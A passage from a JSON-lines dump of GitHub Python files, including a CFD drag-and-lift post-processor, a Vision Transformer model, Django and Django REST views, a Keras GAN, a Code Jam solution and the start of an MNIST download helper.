torch.tensor(npx.reshape(-1, 1), dtype=dtype, device=cfg.device, requires_grad=True)\n    torchy = torch.tensor(npy.reshape(-1, 1), dtype=dtype, device=cfg.device, requires_grad=True)\n\n    # snapshot data holder (for contour plotting)\n    snapshots = {\"x\": npx, \"y\": npy}\n\n    for time in cfg.eval_times:\n\n        preds = model({\"x\": torchx, \"y\": torchy, \"t\": torch.full_like(torchx, time)})\n        preds = {k: v.detach().cpu().numpy().reshape(shape) for k, v in preds.items()}\n\n        # save the prediction data\n        snapshots[time] = preds\n\n    return snapshots\n\n\ndef get_drag_lift_coefficients(cfg, workdir):\n    \"\"\"Get drag and lift coefficients.\n    \"\"\"\n\n    # identify the last iteration\n    mxstep = max([\n        fname.stem.replace(\"flow-net-\", \"\") for\n        fname in workdir.joinpath(\"inferencers\").glob(\"flow-net-*.pth\")\n    ], key=int)\n\n    # get the computational graph\n    _, _, graph, dtype = get_model_from_file(cfg, workdir.joinpath(\"inferencers\", f\"flow-net-{mxstep}.pth\"))\n\n    # required fields for calculating forces\n    fields = [\"u\", \"v\", \"p\", \"u_x\", \"u_y\", \"v_x\", \"v_y\"]\n\n    # get a subset in the computational graph that gives us desired quantities\n    model = modulus.graph.Graph(\n        graph, modulus.key.Key.convert_list([\"x\", \"y\", \"t\"]), modulus.key.Key.convert_list(fields))\n\n    # coordinates to infer (on the cylinder surface)\n    nr = 720\n    theta = numpy.linspace(0., 2*numpy.pi, 720, False)\n    nx = numpy.cos(theta)  # x component of normal vector\n    ny = numpy.sin(theta)  # y component of normal vector\n    npx = numpy.cos(theta) * float(cfg.custom.radius)\n    npy = numpy.sin(theta) * float(cfg.custom.radius)\n\n    # time\n    nt = 201\n    times = numpy.linspace(0., 200., nt)\n\n    # reshape to N by 1 vectors and create torch vectors (sharing the same memory space)\n    torchx = torch.tensor(npx.reshape(-1, 1), dtype=dtype, device=cfg.device, requires_grad=True)\n    torchy = torch.tensor(npy.reshape(-1, 1), dtype=dtype, device=cfg.device, requires_grad=True)\n\n    # plot time frame by time frame\n    cd = numpy.zeros_like(times)\n    cl = numpy.zeros_like(times)\n    for i, time in enumerate(times):\n\n        preds = model({\"x\": torchx, \"y\": torchy, \"t\": torch.full_like(torchx, time)})\n        preds = {k: v.detach().cpu().numpy().flatten() for k, v in preds.items()}\n\n        fd = cfg.custom.nu * (\n            nx * ny**2 * preds[\"u_x\"] + ny**3 * preds[\"u_y\"] - nx**2 * ny * preds[\"v_x\"] - nx * ny**2 * preds[\"v_y\"]\n        )\n\n        pd = preds[\"p\"] * nx\n\n        cd[i] = 2 * 2 * numpy.pi * cfg.custom.radius * numpy.sum(fd - pd) / nr\n\n        fl = cfg.custom.nu * (\n            nx**2 * ny * preds[\"u_x\"] + nx * ny**2 * preds[\"u_y\"] - nx**3 * preds[\"v_x\"] - nx**2 * ny * preds[\"v_y\"]\n        )\n\n        pl = preds[\"p\"] * ny\n\n        cl[i] = - 2 * 2 * numpy.pi * cfg.custom.radius * numpy.sum(fl - pl) / nr\n\n    return cd, cl\n\n\ndef main(workdir):\n    \"\"\"Main function.\n    \"\"\"\n\n    # save all post-processed data here\n    workdir.joinpath(\"output\").mkdir(exist_ok=True)\n\n    # cases' names\n    cases = [f\"nn_{n}\" for n in [256, 512]]\n\n    # target fields\n    fields = [\"u\", \"v\", \"p\", \"vorticity_z\"]\n\n    # hdf5 file\n    h5file = h5py.File(workdir.joinpath(\"output\", \"snapshots.h5\"), \"w\")\n\n    # read and process data case-by-case\n    for job in cases:\n        print(f\"Handling {job}\")\n\n        jobdir = workdir.joinpath(job, \"outputs\")\n\n        cfg = omegaconf.OmegaConf.load(jobdir.joinpath(\".hydra\", \"config.yaml\"))\n        cfg.device = \"cpu\"\n        cfg.custom.scale = float(sympy.sympify(cfg.custom.scale).evalf())\n        cfg.eval_times = [200.0]\n\n        snapshots = get_case_data(cfg, jobdir, fields)\n\n        h5file.create_dataset(f\"{job}/x\", data=snapshots[\"x\"], compression=\"gzip\")\n        h5file.create_dataset(f\"{job}/y\", data=snapshots[\"y\"], compression=\"gzip\")\n        for time, field in itertools.product(cfg.eval_times, fields):\n            h5file.create_dataset(f\"{job}/{time}/{field}\", data=snapshots[time][field], compression=\"gzip\")\n\n        cd, cl = get_drag_lift_coefficients(cfg, jobdir)\n        h5file.create_dataset(f\"{job}/cd\", data=cd, compression=\"gzip\")\n        h5file.create_dataset(f\"{job}/cl\", data=cl, compression=\"gzip\")\n\n    h5file.close()\n\n\nif __name__ == \"__main__\":\n\n    # find the root of the folder `modulus`\n    for root in pathlib.Path(__file__).resolve().parents:\n        if root.joinpath(\"modulus\").is_dir():\n            break\n    else:\n        raise FileNotFoundError(\"Couldn't locate the path to the folder `cases`.\")\n\n    root = root.joinpath(\"modulus\", \"cylinder-2d-re200-zero-ic\")\n\n    main(root)\n","repo_name":"barbagroup/scipy-2022-repro-pack","sub_path":"postprocessing/modulus_cylinder_2d_re200.py","file_name":"modulus_cylinder_2d_re200.py","file_ext":"py","file_size_in_byte":8133,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"15470410895","text":"import torch\nfrom torch import nn, einsum\nimport torch.nn.functional as F\n\nfrom einops import rearrange, repeat\nfrom einops.layers.torch import Rearrange\n\nclass PreNorm(nn.Module):\n    def __init__(self, dim, fn):\n        super().__init__()\n        self.norm = nn.LayerNorm(dim)\n        self.fn = fn\n    def forward(self, x, **kwargs):\n        # 先LN\n        return self.fn(self.norm(x), **kwargs)\n\nclass FeedForward(nn.Module):\n    def __init__(self, dim, hidden_dim, dropout = 0.):\n        super().__init__()\n        # 前向传播\n        self.net = nn.Sequential(\n            nn.Linear(dim, hidden_dim),\n            nn.GELU(),\n            nn.Dropout(dropout),\n            nn.Linear(hidden_dim, dim),\n            nn.Dropout(dropout)\n        )\n    def forward(self, x):\n        return self.net(x)\n\nclass Attention(nn.Module):\n    # attention\n    def __init__(self, dim, heads = 8, dim_head = 64, dropout = 0.):\n        super().__init__()\n        inner_dim = dim_head *  heads  # 计算最终进行全连接操作时输入神经元的个数\n        project_out = not (heads == 1 and dim_head == dim)  # 多头注意力并且输入和输出维度相同时为True\n\n        self.heads = heads  # 多头注意力中“头”的个数\n        self.scale = dim_head ** -0.5  # 缩放操作，论文 Attention is all you need 中有介绍\n\n        self.attend = nn.Softmax(dim = -1)  # 初始化一个Softmax操作\n        self.to_qkv = nn.Linear(dim, inner_dim * 3, bias = False)  # 对Q、K、V三组向量先进性线性操作\n\n        # 线性全连接，如果不是多头或者输入输出维度不相等，进行空操作\n        self.to_out = nn.Sequential(\n            nn.Linear(inner_dim, dim),\n            nn.Dropout(dropout)\n        ) if project_out else nn.Identity()\n\n    def forward(self, x):\n        b, n, _, h = *x.shape, self.heads  # 获得输入x的维度和多头注意力的“头”数\n        qkv = self.to_qkv(x).chunk(3, dim = -1)  # 先对Q、K、V进行线性操作，然后chunk乘三三份\n        q, k, v = map(lambda t: rearrange(t, 'b n (h d) -> b h n d', h = h), qkv)  # 整理维度，获得Q、K、V\n\n        dots = einsum('b h i d, b h j d -> b h i j', q, k) * self.scale  # Q, K 向量先做点乘，来计算相关性，然后除以缩放因子\n\n        attn = self.attend(dots)  # 做Softmax运算\n\n        out = einsum('b h i j, b h j d -> b h i d', attn, v)  # Softmax运算结果与Value向量相乘，得到最终结果\n        out = rearrange(out, 'b h n d -> b n (h d)')  # 重新整理维度\n        return self.to_out(out)  # 做线性的全连接操作或者空操作（空操作直接输出out）\n\n\nclass Transformer(nn.Module):\n    def __init__(self, dim, depth, heads, dim_head, mlp_dim, dropout = 0.):\n        super().__init__()\n        self.layers = nn.ModuleList([])  # Transformer包含多个编码器的叠加\n        for _ in range(depth):\n            # 编码器包含两大块：自注意力模块和前向传播模块\n            self.layers.append(nn.ModuleList([\n                PreNorm(dim, Attention(dim, heads = heads, dim_head = dim_head, dropout = dropout)),  # 多头自注意力模块\n                PreNorm(dim, FeedForward(dim, mlp_dim, dropout = dropout))  # 前向传播模块\n            ]))\n    def forward(self, x):\n        for attn, ff in self.layers:\n            # 自注意力模块和前向传播模块都使用了残差的模式\n            x = attn(x) + x\n            x = ff(x) + x\n        return x\n\nclass ViT(nn.Module):\n    def __init__(self, *, sequence_len, num_patches, num_classes, dim, depth, heads, mlp_dim, pool = 'cls', dim_head = 64, dropout = 0., emb_dropout = 0.):\n        super().__init__()\n        assert pool in {'cls', 'mean'}, 'pool type must be either cls (cls token) or mean (mean pooling)'  # 池化方法必须为cls或者mean\n        self.to_patch_embedding = nn.Sequential(\n            Rearrange('b c (p q) -> b q (c p)', p = sequence_len),\n            nn.Linear(sequence_len, dim),  # 对分割好的图像块进行线性处理（全连接），输入维度为每一个小块的所有像素个数，输出为dim（函数传入的参数）\n        )\n\n        self.pos_embedding = nn.Parameter(torch.randn(1, num_patches + 1, dim))  # 位置编码，获取一组正态分布的数据用于训练\n        self.cls_token = nn.Parameter(torch.randn(1, 1, dim))  # 分类令牌，可训练\n        self.dropout = nn.Dropout(emb_dropout)\n\n        self.transformer = Transformer(dim, depth, heads, dim_head, mlp_dim, dropout)  # Transformer模块\n\n        self.pool = pool\n        self.to_latent = nn.Identity()  # 占位操作\n\n        self.mlp_head = nn.Sequential(\n            nn.LayerNorm(dim),  # 正则化\n            nn.Linear(dim, num_classes)  # 线性输出\n        )\n\n    def forward(self, data):\n        x = self.to_patch_embedding(data)  # 切块操作，shape (b, n, dim)，b为批量，n为切块数目，dim为最终线性操作时输入的神经元个数\n        b, n, _ = x.shape  # shape (b, n, 1024)\n\n        cls_tokens = repeat(self.cls_token, '() n d -> b n d', b = b)  # 分类令牌，将self.cls_token（形状为1, 1, dim）赋值为shape (b, 1, dim)\n        x = torch.cat((cls_tokens, x), dim=1)  # 将分类令牌拼接到输入中，x的shape (b, n+1, 1024)\n        x += self.pos_embedding[:, :(n + 1)]  # 进行位置编码，shape (b, n+1, 1024)\n        x = self.dropout(x)\n\n        x = self.transformer(x)  # transformer操作\n\n        x = x.mean(dim = 1) if self.pool == 'mean' else x[:, 0]\n\n        x = self.to_latent(x)\n        return self.mlp_head(x)  # 线性输出\n","repo_name":"zhtian327/BpTrans","sub_path":"vit_torch/stand.py","file_name":"stand.py","file_ext":"py","file_size_in_byte":5599,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"}
+{"seq_id":"32333109075","text":"############################ views.py ######################################\nfrom tkinter.tix import INTEGER\nfrom django.shortcuts import render\nfrom django.template import loader\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.urls import reverse\nimport datetime\n# Create your views here.\n\"\"\"\nfrom django.http import HttpResponse\ndef home(request):\n    return HttpResponse(\"Hello, Django!\")\n\"\"\"\n\n\n\"\"\"\ndef index(request):\n  template = loader.get_template('myfirst.html')\n  return HttpResponse(template.render())\n  \n\"\"\"\nfrom .models import Members\n\ndef index(request):\n  mymembers = Members.objects.all().values()\n  template = loader.get_template('index.html')\n  context = {\n    'mymembers': mymembers,\n  }\n  return HttpResponse(template.render(context, request))\n\n\ndef add(request):\n  template = loader.get_template('add.html')\n  return HttpResponse(template.render({}, request))\n\n\ndef addrecord(request):\n  x = request.POST['first']\n  y = request.POST['last']\n  z = request.POST['date']\n  a = request.POST['int']\n  hoy = datetime.date.today()\n  ano = int(z[:4])\n  mes = int(z[5]+z[6])\n  dia = int(z[-2:])\n \n  fecha = datetime.date(ano,mes,dia)\n  edad = 0\n  while fecha < hoy:\n    edad += 1\n    fecha = datetime.date(ano+edad, mes, dia)\n  edad-=1\n\n  if (edad<=2):\n    template = loader.get_template('descuento_1.html')\n    a=0\n  elif(edad>2 and edad<17):\n    template = loader.get_template('descuento_2.html')\n    a= (int(a)*0.75)\n\n  else:\n    template = loader.get_template('descuento_3.html')\n    a=a\n  member = Members(firstname=x, lastname=y, fechanacimiento=z,monto=a,edad=edad)\n  member.save()\n\n  return HttpResponse(template.render({}, request))\n\n\n\n\ndef discount(request):\n  return HttpResponseRedirect(reverse('index'))\n\n\n\n\ndef delete(request, id):\n  member = Members.objects.get(id=id)\n  member.delete()\n  return HttpResponseRedirect(reverse('index'))\n\n\n  \ndef update(request, id):\n  mymember = Members.objects.get(id=id)\n  template = loader.get_template('update.html')\n  context = {\n    'mymember': mymember,\n  }\n  return HttpResponse(template.render(context, request))\n\n\ndef updaterecord(request, id):\n  first = request.POST['first']\n  last = request.POST['last']\n  member = Members.objects.get(id=id)\n  member.firstname = first\n  member.lastname = last\n  member.save()\n  return HttpResponseRedirect(reverse('index'))\n","repo_name":"Sergio-Terrazas/2022-DA-G4-SG02","sub_path":"Guía de Prácticas de Desarrollo de Aplicaciones N° 10 - 2022.10/MyJango_Ejercicio01/.venv/hello/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"70560999737","text":"from django.db.transaction import atomic\nimport django_filters\nfrom django_filters.rest_framework import DjangoFilterBackend\nfrom rest_framework import mixins, viewsets, status\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\n\nfrom core.filters import (\n    annotate_filter,\n    BaseFilterSet,\n    IsoDateTimeFilter,\n    MultipleValueFilter,\n    PostcodeFilter,\n    SafeOrderingFilter,\n    SplitTextInMultipleFieldsFilter,\n)\nfrom core.models import TruncUtcDate\nfrom core.permissions import ActionsBasedViewPermissions\nfrom disbursement import InvalidDisbursementStateException\nfrom disbursement.constants import DisbursementResolution\nfrom disbursement.models import Disbursement, Comment\nfrom disbursement.serializers import (\n    DisbursementSerializer, DisbursementIdsSerializer,\n    DisbursementConfirmationSerializer, CommentSerializer,\n)\nfrom mtp_auth.models import PrisonUserMapping\nfrom mtp_auth.permissions import (\n    CashbookClientIDPermissions, BankAdminClientIDPermissions,\n    CASHBOOK_OAUTH_CLIENT_ID, NOMS_OPS_OAUTH_CLIENT_ID,\n    BANK_ADMIN_OAUTH_CLIENT_ID, get_client_permissions_class,\n)\nfrom prison.models import Prison\n\n\nclass MonitoredProfileFilter(django_filters.BooleanFilter):\n    def filter(self, qs, value):\n        if value:\n            return qs.monitored_by(self.parent.request.user)\n        return qs\n\n\nclass DisbursementFilter(BaseFilterSet):\n    logged_at__lt = annotate_filter(\n        IsoDateTimeFilter(field_name='logged_at', lookup_expr='lt'),\n        {'logged_at': TruncUtcDate('log__created')}\n    )\n    logged_at__gte = annotate_filter(\n        IsoDateTimeFilter(field_name='logged_at', lookup_expr='gte'),\n        {'logged_at': TruncUtcDate('log__created')}\n    )\n    resolution = MultipleValueFilter(field_name='resolution')\n\n    exclude_amount__endswith = django_filters.CharFilter(\n        field_name='amount', lookup_expr='endswith', exclude=True\n    )\n    exclude_amount__regex = django_filters.CharFilter(\n        field_name='amount', lookup_expr='regex', exclude=True\n    )\n    amount__endswith = django_filters.CharFilter(\n        field_name='amount', lookup_expr='endswith'\n    )\n    amount__regex = django_filters.CharFilter(\n        field_name='amount', lookup_expr='regex'\n    )\n\n    simple_search = SplitTextInMultipleFieldsFilter(\n        field_names=(\n            'recipient_first_name',\n            'recipient_last_name',\n            'prisoner_number',\n        ),\n        lookup_expr='icontains',\n    )\n\n    prisoner_number = django_filters.CharFilter(field_name='prisoner_number', lookup_expr='iexact')\n    prisoner_name = django_filters.CharFilter(field_name='prisoner_name', lookup_expr='icontains')\n\n    prison = django_filters.ModelMultipleChoiceFilter(queryset=Prison.objects.all())\n    prison_region = django_filters.CharFilter(field_name='prison__region')\n    prison_category = MultipleValueFilter(field_name='prison__categories__name')\n    prison_population = MultipleValueFilter(field_name='prison__populations__name')\n\n    recipient_name = django_filters.CharFilter(field_name='recipient_name', lookup_expr='icontains')\n    recipient_email = django_filters.CharFilter(field_name='recipient_email', lookup_expr='icontains')\n\n    city = django_filters.CharFilter(field_name='city', lookup_expr='iexact')\n    postcode = PostcodeFilter(field_name='postcode')\n\n    sort_code = django_filters.CharFilter(field_name='sort_code')\n    account_number = django_filters.CharFilter(field_name='account_number')\n    roll_number = django_filters.CharFilter(field_name='roll_number')\n\n    invoice_number = django_filters.CharFilter(field_name='invoice_number', lookup_expr='iexact')\n    monitored = MonitoredProfileFilter()\n\n    class Meta:\n        model = Disbursement\n        fields = {\n            'created': ['exact', 'lt', 'gte'],\n            'log__action': ['exact'],\n            'method': ['exact'],\n            'amount': ['exact', 'lte', 'gte'],\n            'nomis_transaction_id': ['exact'],\n            'recipient_is_company': ['exact'],\n        }\n\n\nclass DisbursementViewMixin:\n    def get_queryset(self):\n        queryset = Disbursement.objects.all()\n        if getattr(self, 'swagger_fake_view', False):\n            return queryset\n        if self.request.auth.application.client_id == CASHBOOK_OAUTH_CLIENT_ID:\n            return queryset.filter(\n                prison__in=PrisonUserMapping.objects.get_prison_set_for_user(self.request.user)\n            )\n        return queryset\n\n\nclass GetDisbursementsView(\n    DisbursementViewMixin, mixins.ListModelMixin, mixins.RetrieveModelMixin,\n    viewsets.GenericViewSet\n):\n    queryset = Disbursement.objects.all().order_by('-id')\n    serializer_class = DisbursementSerializer\n    filterset_class = DisbursementFilter\n    filter_backends = (DjangoFilterBackend, SafeOrderingFilter)\n    ordering_fields = ('created', 'amount', 'resolution', 'method', 'recipient_name',\n                       'prisoner_number', 'prisoner_name')\n    permission_classes = (\n        IsAuthenticated, ActionsBasedViewPermissions, get_client_permissions_class(\n            CASHBOOK_OAUTH_CLIENT_ID, NOMS_OPS_OAUTH_CLIENT_ID,\n            BANK_ADMIN_OAUTH_CLIENT_ID\n        )\n    )\n\n\nclass DisbursementView(\n    mixins.CreateModelMixin, mixins.UpdateModelMixin, GetDisbursementsView\n):\n    def update(self, request, *args, **kwargs):\n        instance = self.get_object()\n        if instance.resolution == DisbursementResolution.pending.value:\n            return super().update(request, *args, **kwargs)\n        else:\n            return Response(\n                data={\n                    'errors': [{\n                        'msg': 'This disbursement can no longer be modified.'\n                    }]\n                },\n                status=status.HTTP_400_BAD_REQUEST\n            )\n\n\nclass ResolveDisbursementsView(DisbursementViewMixin, APIView):\n    serializer_class = DisbursementIdsSerializer\n    action = 'update'\n    resolution = NotImplemented\n\n    permission_classes = (\n        IsAuthenticated, CashbookClientIDPermissions,\n        ActionsBasedViewPermissions\n    )\n\n    def get_serializer(self, *args, **kwargs):\n        kwargs['context'] = {\n            'request': self.request,\n            'format': self.format_kwarg,\n            'view': self\n        }\n        return self.serializer_class(*args, **kwargs)\n\n    def post(self, request, format=None):\n        deserialized = self.get_serializer(data=request.data)\n        deserialized.is_valid(raise_exception=True)\n\n        disbursement_ids = deserialized.data.get('disbursement_ids', [])\n        try:\n            Disbursement.objects.update_resolution(\n                self.get_queryset(), disbursement_ids, self.resolution, request.user\n            )\n        except InvalidDisbursementStateException as e:\n            return Response(\n                data={\n                    'errors': [{\n                        'msg': 'Some disbursements were not in a valid state for this operation.',\n                        'ids': e.conflict_ids,\n                    }]\n                },\n                status=status.HTTP_409_CONFLICT\n            )\n\n        return Response(status=status.HTTP_204_NO_CONTENT)\n\n\nclass RejectDisbursementsView(ResolveDisbursementsView):\n    resolution = DisbursementResolution.rejected.value\n\n\nclass PreConfirmDisbursementsView(ResolveDisbursementsView):\n    resolution = DisbursementResolution.preconfirmed.value\n\n\nclass ResetDisbursementsView(ResolveDisbursementsView):\n    resolution = DisbursementResolution.pending.value\n\n\nclass SendDisbursementsView(ResolveDisbursementsView):\n    resolution = DisbursementResolution.sent.value\n\n    permission_classes = (\n        IsAuthenticated, ActionsBasedViewPermissions, BankAdminClientIDPermissions\n    )\n\n\nclass ConfirmDisbursementsView(DisbursementViewMixin, APIView):\n    serializer_class = DisbursementConfirmationSerializer\n    action = 'update'\n\n    permission_classes = (\n        IsAuthenticated, CashbookClientIDPermissions,\n        ActionsBasedViewPermissions\n    )\n\n    def get_serializer(self, *args, **kwargs):\n        kwargs['context'] = {\n            'request': self.request,\n            'format': self.format_kwarg,\n            'view': self\n        }\n        return self.serializer_class(*args, **kwargs)\n\n    @atomic\n    def post(self, request, format=None):\n        serializer = self.get_serializer(data=request.data, many=True)\n        serializer.is_valid(raise_exception=True)\n\n        confirmed_disbursements = {\n            d['id']: d.get('nomis_transaction_id') for d in serializer.data\n        }\n        disbursement_ids = confirmed_disbursements.keys()\n        to_update = Disbursement.objects.preconfirmed().filter(\n            pk__in=disbursement_ids\n        ).select_for_update()\n\n        ids_to_update = [c.id for c in to_update]\n        conflict_ids = set(disbursement_ids) - set(ids_to_update)\n        if conflict_ids:\n            return Response(\n                data={\n                    'errors': [{\n                        'msg': 'Some disbursements were not in a valid state for this operation.',\n                        'ids': sorted(conflict_ids)\n                    }]\n                },\n                status=status.HTTP_409_CONFLICT\n            )\n\n        for disbursement in to_update:\n            disbursement.confirm(\n                request.user, confirmed_disbursements[disbursement.id]\n            )\n        return Response(status=status.HTTP_204_NO_CONTENT)\n\n\nclass CommentView(\n    mixins.CreateModelMixin, viewsets.GenericViewSet\n):\n    queryset = Comment.objects.all()\n    serializer_class = CommentSerializer\n\n    permission_classes = (\n        IsAuthenticated, ActionsBasedViewPermissions, CashbookClientIDPermissions\n    )\n\n    def get_serializer(self, *args, **kwargs):\n        kwargs.setdefault('many', True)\n        return super().get_serializer(*args, **kwargs)\n","repo_name":"ministryofjustice/money-to-prisoners-api","sub_path":"mtp_api/apps/disbursement/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9940,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"22"}
+{"seq_id":"41901070543","text":"#!/data/miniconda3/bin/python\n# -*- coding: utf-8 -*-\n\nimport os\nimport tensorflow as tf\nfrom tensorflow import keras\nfrom tensorflow.keras import layers, models, callbacks, Input, preprocessing, applications\nprint(tf.__version__)\nimport numpy as np\nprint(np.__version__)\nimport pickle\n\ndef unpickle(file):\n    with open(file, 'rb') as fo:\n        dict = pickle.load(fo, encoding='bytes')\n    return dict\n\nceph_dir = '/data1/ceph/yzchen'\n\nlatent_dim = 32\nheigth = 32\nwidth = 32\nchannels = 3\n\ngenerator_input = Input(shape=(latent_dim,))\nx = layers.Dense(128*16*16)(generator_input)\nx = layers.LeakyReLU()(x)\nx = layers.Reshape((16, 16, 128))(x)\n\nx = layers.Conv2D(256, 5, padding='same')(x)\nx = layers.LeakyReLU()(x)\n\nx = layers.Conv2DTranspose(256, 4, strides=2, padding='same')(x)\nx = layers.LeakyReLU()(x)\n\nx = layers.Conv2D(256, 5, padding='same')(x)\nx = layers.LeakyReLU()(x)\nx = layers.Conv2D(256, 5, padding='same')(x)\nx = layers.LeakyReLU()(x)\n\ngenerator_output = layers.Conv2D(channels, 7 , activation='tanh', padding='same')(x)\ngenerator = models.Model(generator_input, generator_output)\n\n\ndiscriminator_input = Input(shape=(heigth,width,channels))\nx = layers.Conv2D(128, 3)(discriminator_input)\nx = layers.LeakyReLU()(x)\nx = layers.Conv2D(128, 4, strides=2)(discriminator_input)\nx = layers.LeakyReLU()(x)\nx = layers.Conv2D(128, 4, strides=2)(discriminator_input)\nx = layers.LeakyReLU()(x)\nx = layers.Conv2D(128, 4, strides=2)(discriminator_input)\nx = layers.LeakyReLU()(x)\nx = layers.Flatten()(x)\n\nx = layers.Dropout(0.4)(x)\n\ndiscriminator_output = layers.Dense(1, activation='sigmoid')(x)\ndiscriminator = models.Model(discriminator_input, discriminator_output)\ndiscriminator.summary()\n\ndiscriminator.compile(\n    optimizer=keras.optimizers.RMSprop(lr=0.0008, clipvalue=1.0, decay=1e-8),\n    loss='binary_crossentropy'\n)\n\ndiscriminator.trainable = False\n\ngan_input = Input(shape=(latent_dim,))\ngan_output = discriminator(generator(gan_input))\ngan = models.Model(gan_input, gan_output)\n\ngan.compile(\n    optimizer = keras.optimizers.RMSprop(lr=0.0004, clipvalue=1.0, decay=1e-8),\n    loss = 'binary_crossentropy'\n)\n\nif __name__ == '__main__':\n    raw_data = unpickle(os.path.join(ceph_dir, 'cf10/data_batch_1'))\n    x_train = np.array(raw_data[b'data'])\n    y_train = np.array(raw_data[b'labels'])\n    for i in range(2,6):\n        raw_data = unpickle(os.path.join(ceph_dir, 'cf10/data_batch_'+str(i)))\n        x_train = np.concatenate([x_train, np.array(raw_data[b'data'])])\n        y_train = np.concatenate([y_train, np.array(raw_data[b'labels'])])\n\n    x_train = x_train[y_train==4]\n    x_train = x_train.reshape(x_train.shape[0], channels, heigth, width).transpose([0,2,3,1]).astype('float32') / 255.\n\n    print('x_train shape: ', x_train.shape)\n\n    iterations = 10000\n    batch_size = 20\n\n    start = 0\n    for step in range(iterations):\n        random_latent_vectors = np.random.normal(size=(batch_size, latent_dim))\n        generated_images = generator.predict(random_latent_vectors)\n        \n        stop = start + batch_size\n        real_images = x_train[start:stop]\n        combined_images = np.concatenate([generated_images, real_images])\n        labels = np.concatenate([\n            np.ones((batch_size, 1)), \n            np.zeros((batch_size, 1))])\n        labels += 0.05 * np.random.random(labels.shape)\n        d_loss = discriminator.train_on_batch(combined_images, labels)\n        \n        random_latent_vectors = np.random.normal(size=(batch_size, latent_dim))\n        misleading_targets = np.zeros((batch_size, 1))\n        a_loss = gan.train_on_batch(random_latent_vectors, misleading_targets)\n        \n        start += batch_size\n        if start > len(x_train) - batch_size:\n            start = 0\n        \n        if step % 100 == 0:\n            gan.save_weights(os.path.join(ceph_dir, 'models/gan.h5'))\n            print('discriminator loss: ', d_loss)\n            print('adversarial loss: ', a_loss)\n            \n            img = keras.preprocessing.image.array_to_img(generated_images[0] * 255.,scale=False)\n            img.save(os.path.join(ceph_dir, 'gan/generated_img' + str(step) + '.png'))\n            \n            img = keras.preprocessing.image.array_to_img(real_images[0] * 255.,scale=False)\n            img.save(os.path.join(ceph_dir, 'gan/real_img' + str(step) + '.png'))","repo_name":"P79N6A/deep_playground","sub_path":"gan.py","file_name":"gan.py","file_ext":"py","file_size_in_byte":4316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"20207810252","text":"def solve(n, slices, d):\n    freq = {}\n    for s in slices:\n        if s not in freq:\n            freq[s] = 1\n        else:\n            freq[s] += 1\n        if freq[s] == d:\n            return 0\n    \n    if d == 2:\n        return 1\n    \n    for s in freq:\n        if s*2 in freq:\n            return 1\n        if freq[s] == 2 and s != max(freq):\n            return 1\n    \n    return 2\n\nfor i in range(int(input())):\n    n, d = map(int, input().split())\n    slices = list(map(int, input().split()))\n    print('Case #%d: %d' % (i+1, solve(n, slices, d)))","repo_name":"tylanmm/comp_prog","sub_path":"codejam/2020/pancakes.py","file_name":"pancakes.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"22021602103","text":"from loginlogout.views import *\nfrom django.urls import path\n\napp_name = 'loginlogout'\n\nurlpatterns = [\n    path('', show_sirest, name='show_sirest'),\n    path('login/', show_login, name='show_login'),\n    path('logout/', logout, name='logout'),\n]","repo_name":"ghaziangunawan/-db22k004-Group-Repository","sub_path":"loginlogout/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"5661452500","text":"from rest_framework.viewsets import ModelViewSet\nfrom service.serializers import ServiceSerializer, FavoriteServiceSerializer\nfrom service.models import Service, FavoriteService\nfrom rest_framework.decorators import action\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.response import Response\nfrom rest_framework.exceptions import NotFound\n\nclass ServiceViewSet(ModelViewSet):\n    queryset = Service.objects.all()\n    serializer_class = ServiceSerializer\n\n\n    @action(methods=['POST'], detail=True, permission_classes=[IsAuthenticated], url_path='toggle-favorite')\n    def toggle_favorite(self, requst, pk=None):\n        user = requst.user \n        try:\n            service = self.queryset.get(pk=pk)\n        except Service.DoesNotExist:\n            raise NotFound('Service not found')\n        try:\n            fav_service = FavoriteService.objects.filter(user=user, service=service)\n            fav_service.delete()\n            return Response ({'messege': 'removed'})\n        except FavoriteService.DoesNotExist:\n            FavoriteService.objects.create(user=user, service=service)\n            return Response({'message': 'added'})\n        \n    @action(methods=['GET'], detail=False, permission_classes=[IsAuthenticated], url_path='favorites')\n    def get_favorite(self, requst):\n        user = requst.user \n        service = FavoriteService.objects.filter(user=user)\n        data = FavoriteServiceSerializer(data=service, many=True).data\n        return Response(data)","repo_name":"UlianaYarkova/django-beuty","sub_path":"service/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1503,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"22369970376","text":"\n# coding: utf-8\n\n# In[1]:\n\n#!/usr/bin/env python3\nimport numpy as np\n#import cPickle\nimport _pickle as cPickle #python3.x cPickle has changed from cPickle to _pickle or use pickle\nimport os\nimport gzip\n\n\n# # First exercise: Classifying MNIST with MLPs\n# In this exercise you will implement a Neural Network (or MLP) and classify the MNIST digits with it.\n# MNIST is a \"well hung\" dataset that has been used a lot over the years to benchmark different classification algorithms. \n# To learn more about it have a look here: http://yann.lecun.com/exdb/mnist/ .\n\n# # Data Loading\n# We first define a function for downloading and loading MNIST.\n# **WARNING**: Executing it will obviously use up some space on your machine ;). \n\n# In[2]:\n\ndef mnist(datasets_dir='./data'):\n    if not os.path.exists(datasets_dir):\n        os.mkdir(datasets_dir)\n    data_file = os.path.join(datasets_dir, 'mnist.pkl.gz')\n    if not os.path.exists(data_file):\n        print('... downloading MNIST from the web')\n        try:\n            import urllib\n            urllib.urlretrieve('http://google.com')\n        except AttributeError:\n            import urllib.request as urllib\n        url = 